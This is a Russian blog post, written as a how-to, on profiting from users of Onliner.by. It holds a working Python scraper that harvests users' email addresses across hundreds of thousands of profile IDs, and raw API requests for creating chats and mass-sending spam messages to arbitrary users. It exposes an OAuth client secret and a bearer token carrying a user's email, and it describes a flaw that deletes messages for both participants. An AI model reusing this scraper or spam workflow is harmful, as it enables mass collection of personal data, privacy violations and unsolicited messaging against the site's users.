Как заработать на пользователях Onliner.by ? Легко!

onliner hacks and tricks

В этой статье мы рассмотрим один из самых простых вариантов монетизации пользователей онлайнера (это Белорусская информационная площадка, такой себе небольшой локальный новостной сайтик с разными плюшками) через рекламные рассылки и доступные способы их выполнения.

Для рассылки мы будем использовать два вектора «атак»:

  1. Рассылка по email (но для начала их нужно собрать, это тоже опишу и даже добавлю скрипт
  2. Воспользуемся новыми функционалом чата и API самой площадки

Сразу оговорюсь, что политика онлайнера относительно публичной доступности некоторой информации из профилей не совсем верная, email адреса пользователей стоит скрывать все же.

На чем мы тут можем заработать? Как и всегда, на пользовательских данных и рекламе. Начнем с первого пункта и реализации сбора почтовых адресов пользователей.

Чтобы заиметь нормальный доступ к данным нам предварительно потребуется создать себе профиль (зарегистрироваться) который мы и будем в последствии использовать в обеих пунктах.

У онлайнера есть механизм который ограничивает количество одновременных подключений и отправки запросов к платформе до 10 включительно, если не ошибаюсь, далее система начинает блокировать запросы, соответственно нам надо влезть в 10 потоков.

Сам скрипт парсера email адресов onliner будет выглядеть как-то так:

#!/usr/bin/env python3

import sys, threading, time, os, urllib, re, requests, pymysql
from html.parser import HTMLParser
from urllib import request
from xml.dom import minidom
from bs4 import BeautifulSoup
from xml.dom.minidom import parse
import xml.etree.ElementTree as ET

# HEADERS CONFIG
headers = {
 'User-Agent': 'Mozilla/5.1 (Macintosh; Intel Mac OS X 10.9; rv:43.0) Gecko/20100101 Firefox/43.0'
 }

file = open('dat.html', 'w')

def parseMails(uid):
 page = 'https://profile.onliner.by/user/'+str(uid)+''
 cookie = {'onl_session': '1GrNmQoC8%2BZyL6v4wuRdKPqneXyLdD8WtPYu1TNt4c8ccAIe2pHYc4Q0BMoqLPIAKwAQJRh0xH7E8RhcsGm3tObobM9oifDCQXN16nnRgb%2BAOoJa2U9r1FtsmXtFl46Rw8re%2Fhf0%2FNa36NSzKuAGMtgb87ddTx9rSf6Q13JyyBFugzkBiho0WWj64pjU1UO%2BEDy%2F%2B0nbQ2T3YoW9GOWe3%2F3H63DF3BxTgXw%2B6vwy4CRnolcW2J8wyew1jOEL61zd8AZ2sR5Rymk%3D'}
 r = requests.get(page, headers = headers, cookies = cookie)
 data = BeautifulSoup(r.text)
 userinfo = data.find_all('dl', {'class': 'uprofile-info'})
 find_email = []
 for item in userinfo:
 find_email += str(item.find('a'))
 #detect_email = re.compile("(\w+[.|\w])*@(\w+[.])*\w+").search(str(find_email))
 get_mail = ''.join(find_email)
 detect_email = re.compile(".+?>(.+@.+?)</a>").search(get_mail)
 file.write("<li>('"+detect_email.group(1)+"', 'onliner', 'belarus'),</li>")

for uid in range(1500001, 1800000):
 t = threading.Thread(target=parseMails, args=(uid,))
 t.start()
 time.sleep(0.3)

Скачать скрипт с GitHub

Смотрите так же   PHP: Как нам сделать сравнение по домену и доменной части электронной почты

Написан скрипт на третьем питоне (python 3.x), довольно небольшой, все по делу, работает в несколько потоков, данные на выходе сохраняет в файлик «dat.html».

Теперь давайте пройдемся по параметрам:

  • Кастомизируем user-agent: задается в переменной «headers» в шапке скрипта
  • Файл вывода данных задается в переменной «file» там где далее open …
  • В переменной «cookie» мы задаем значения параметру куков онлайнера «onl_session» и добавляем нашу печеньку из активной сессии, чтобы парсер мог видеть профили пользователей
  • В условии «for uid in range» мы задаем начальное и конечное значние ID профилей пользователей, информацию из которых хотим выбрать (парсим только email)

Ну, по парсеру собственно и все. Как оказалось, на онлайнере более 1млн профилей, на все про все уйдет где-то ночка-две, на выходе будет внушительная база почтовых адресов пользователей и вот, первая часть нашего канала рассылки уже готова, двигаемся дальше!

Теперь давайте поговорим о реализации второго канала рассылки. Таковым будет выступать легитимный функционал площадки, которые разрешает пользователям обмениваться сообщениями, но использовать мы будем его немного по другому — наша задача отправить не одно сообщение, а много.

Опять же, мы должны быть аутентифицированы на сайте, но тут уже нам понадобятся не куки, а «Bearer» токен для авторизации (по API). Да, чат онлайнера работает через их API и временный ключ будет действовать всего 10 минут, соответственно нужен будет механизм его получения и обновления до истечения старого. Саму реализацию того, как получать и новый ключ, и передавать его далее я не буду выкладывать, так будет совсем не интересно, а вот сами запросы к API мы рассмотрим.

Нас будут интересовать 3 ключевые функции:

  1. Получение ключа
  2. Генерация чата с пользователем по ID пользователя
  3. Отправка сообщения в ID сгенерированного чата
Смотрите так же   Скрипт для создания SWAP в Linux (Debian)

Важный момент — вы должны быть аутентифицированны (об этом я еще выше писал).

Итак, первым запросом мы получаем долгожданный токен для авторизации и возможности выполнять все последующие действия:

POST /oauth/token HTTP/1.1
Host: credentials.api.onliner.by
User-Agent: Mozilla/5.1 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100102 Firefox/56.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/json;charset=utf-8
Referer: https://chats.onliner.by/Idq5Jdslq
Content-Length: 337
Origin: https://chats.onliner.by
Connection: close

{"client_id":"onliner_user","client_secret":"htgUl4Qj3gdAJslahB8iHkPsmlGOTKm0RtOqi+gHpUPJ6tgICS35G9IVQ11guhAWtR0L4QIb8JBHkHddB38Q3p47Ieut5puNZ1BVdHoY1jKFC7GvT1O+yt1+agHZtl8vmK2DBK1l5vOnI3SvpNWBLPCkGF2aXoXkpq8jy1uExLalD9kIA1qxMz0smiiJC96ysrR7r8rcuX8moEMlbVRNs0LdCcEmJ3ri5mcOs+R9O2MeZykBLelpRmuY","grant_type":"client_credentials"}

Далее получаем ответ следующего вида, в котором и лежит наш ключик в формате Base64:

HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json
Connection: close
Cache-Control: no-store, private
Pragma: no-cache
Access-Control-Allow-Origin: https://chats.onliner.by
Access-Control-Allow-Credentials: true
Date: Fri, 06 Apr 2018 20:55:05 GMT
Set-Cookie: ouid=MyLittleCookie==; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/
Content-Length: 627

{"access_token":"eyJ0eXAiOiJKV1MiLCJhbGciOiJIUzUxMiJ9LnsidXNlcl90eXBlIjoidXNlciIsInVzZXJfZGF0YSI6eyJpZCI6MjM3ODQsIm5hbWUiOiIfQ0AzMCIsImVtYWlsIjoia3VnYV9nYW1ub0BsaXN0LnJ1Iiwic3RhdHVzIjoiYWN0aXZlIiwicm9sZXMiOnsiYXV0b2ZsZWFtYXJrZXQiOlsidXNlciJdLCJmbGVhbWFya2V0IjpbInVzZXIiXSwiZm9ydW0iOlsidXNlciJdLCJuZXdzIjpbInVzZXIiXSwidXNlciI6WyJ1c2VyIl0sIm1vdG9mbGVhbWFya2V0IjpbInVzZXIiXX0sInNtc192YWxpZGF0aW9uX3N0YXR1cyI6InZhbGlkYXRlZCJ9LCJpYXQiOjE1MjMwNDgxMDUsInNjb3BlcyI6W10sImV4cCI6MTUyMzA0ODcwNX0ux3tI9okzEwuGpcFVSBnnLWbA6lwgMjBpIXNELZ1vOsdGjylUMLpHAS12RbmyjtS8WeXgzqtfzK9V0ugRCeHqLtyA","expires_in":600,"token_type":"Bearer","scope":null}

Что в переводе «на русский» будет выглядеть как:

{"typ":"JWS","alg":"HS512"}.{"user_type":"user","user_data":{"id":23784,"name":"C@30","email":"kuga_gamno@list.ru","status":"active","roles":{"autofleamarket":["user"],"fleamarket":["user"],"forum":["user"],"news":["user"],"user":["user"],"motofleamarket":["user"]},"sms_validation_status":"validated"},"iat":1523048105,"scopes":[],"exp":1523048705}.Ç{Hö‰3†¥ÁUHç-fÀê\ 20i!sD-o:ÇF)T0ºG-vE¹²ŽÔ¼YåàΫ_̯UÒè áê.܀

Вот как раз параметр «exp»:1523048705 и показывает нам время окончания жизни ключа, просто его еще надо декодировать.

Далее мы этот ключ, который у нас «access_token» чуть выше, подставляем во все запросы в параметр «authorization: Bearer».

Создаем чат с каким либо пользователем:

POST /api/generate-id HTTP/1.1
Host: chats.onliner.by
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/json;charset=utf-8
authorization: Bearer eyJ0eXAiOiJKV1MiLCJhbGciOiJIUzUxMiJ9LnsidXNlcl90eXBlIjoidXNlciIsInVzZXJfZGF0YSI6eyJpZCI6MjM3ODQsIm5hbWUiOiIfQ0AzMCIsImVtYWlsIjoia3VnYV9nYW1ub0BsaXN0LnJ1Iiwic3RhdHVzIjoiYWN0aXZlIiwicm9sZXMiOnsiYXV0b2ZsZWFtYXJrZXQiOlsidXNlciJdLCJmbGVhbWFya2V0IjpbInVzZXIiXSwiZm9ydW0iOlsidXNlciJdLCJuZXdzIjpbInVzZXIiXSwidXNlciI6WyJ1c2VyIl0sIm1vdG9mbGVhbWFya2V0IjpbInVzZXIiXX0sInNtc192YWxpZGF0aW9uX3N0YXR1cyI6InZhbGlkYXRlZCJ9LCJpYXQiOjE1MjMwNDgxMDUsInNjb3BlcyI6W10sImV4cCI6MTUyMzA0ODcwNX0ux3tI9okzEwuGpcFVSBnnLWbA6lwgMjBpIXNELZ1vOsdGjylUMLpHAS12RbmyjtS8WeXgzqtfzK9V0ugRCeHqLtyA
Referer: https://chats.onliner.by/Idq5Jdslq
Content-Length: 70
Cookie: MyCookiesHere
Connection: close
{"from":{"type":"user","id":816129},"to":{"type":"user","id":1430074}}

Тут используются целых два ID — от кого и к кому создается диалог (from — от, а to — к кому), подставить можно любые ID на место конечного адресата.

В ответе мы должны увидеть что-то похожее:

{"id":"Idq5Jdslq","type":"private","entity":null}

Где «id:» показываем уникальное название созданного нами чата и далее в этот чат мы уже можем отправлять сообщения:

POST /api/gaHgPDKTgHbZlA/messages HTTP/1.1
Host: chats.onliner.by
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/json;charset=utf-8
authorization: Bearer eyJ0eXAiOiJKV1MiLCJhbGciOiJIUzUxMiJ9LnsidXNlcl90eXBlIjoidXNlciIsInVzZXJfZGF0YSI6eyJpZCI6MjM3ODQsIm5hbWUiOiIfQ0AzMCIsImVtYWlsIjoia3VnYV9nYW1ub0BsaXN0LnJ1Iiwic3RhdHVzIjoiYWN0aXZlIiwicm9sZXMiOnsiYXV0b2ZsZWFtYXJrZXQiOlsidXNlciJdLCJmbGVhbWFya2V0IjpbInVzZXIiXSwiZm9ydW0iOlsidXNlciJdLCJuZXdzIjpbInVzZXIiXSwidXNlciI6WyJ1c2VyIl0sIm1vdG9mbGVhbWFya2V0IjpbInVzZXIiXX0sInNtc192YWxpZGF0aW9uX3N0YXR1cyI6InZhbGlkYXRlZCJ9LCJpYXQiOjE1MjMwNDgxMDUsInNjb3BlcyI6W10sImV4cCI6MTUyMzA0ODcwNX0ux3tI9okzEwuGpcFVSBnnLWbA6lwgMjBpIXNELZ1vOsdGjylUMLpHAS12RbmyjtS8WeXgzqtfzK9V0ugRCeHqLtyA
Referer: https://chats.onliner.by/Idq5Jdslq
Content-Length: 44
Cookie: MyCookiesHere
Connection: close

{"message":{"type":"text","content":"test"}}

Через параметр «content» добавляем любой текст, какой душе угодно и отправляем!

Смотрите так же   IP Tracker (PHP + MySQL)

Кстати, один занимательный момент, который я успел заметить в процессе изучения API онлайнера — возможность удалять в чате диалоги для ВСЕХ участников, даже в тех случаях, когда эта функция не доступна (обычно ограничение вступает в силу через какой-то определенный промежуток времени как я понял, либо после определенного количества сообщений в диалоге, к примеру последние 4 из 5 сообщений не могут быть удалены для обоих участников диалога). При отправке запроса нужно всего то подправить один параметр и вуаля — диалог подчищен.

Если быть более точным, то речь идет об отправке такого запроса:

POST /api/gaHgPDKTgHbZlA/delete-messages HTTP/1.1

{"messages":["2595b150-36c3-11e8-abef-e907c395796a"],"bothside":true}

Параметр «bothside» отвечает за удаление сообщений как у отправителя, так и у получателя. В случае когда он выставлен как «false», то сообщение будет удалено только с вашей стороны, если выставить «true» — думаю догадаться не сложно, сообщение не увидит уже и получать.

Сильно я не стал раскапывать весь этот функционал, потому как интереса к другим фичам ресурса у меня не было, но думаю, что при особом желании можно найти много чего еще полезного. Если будут возникать вопросы — пишите в комментариях.

Может быть интересно:

Добавьте комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *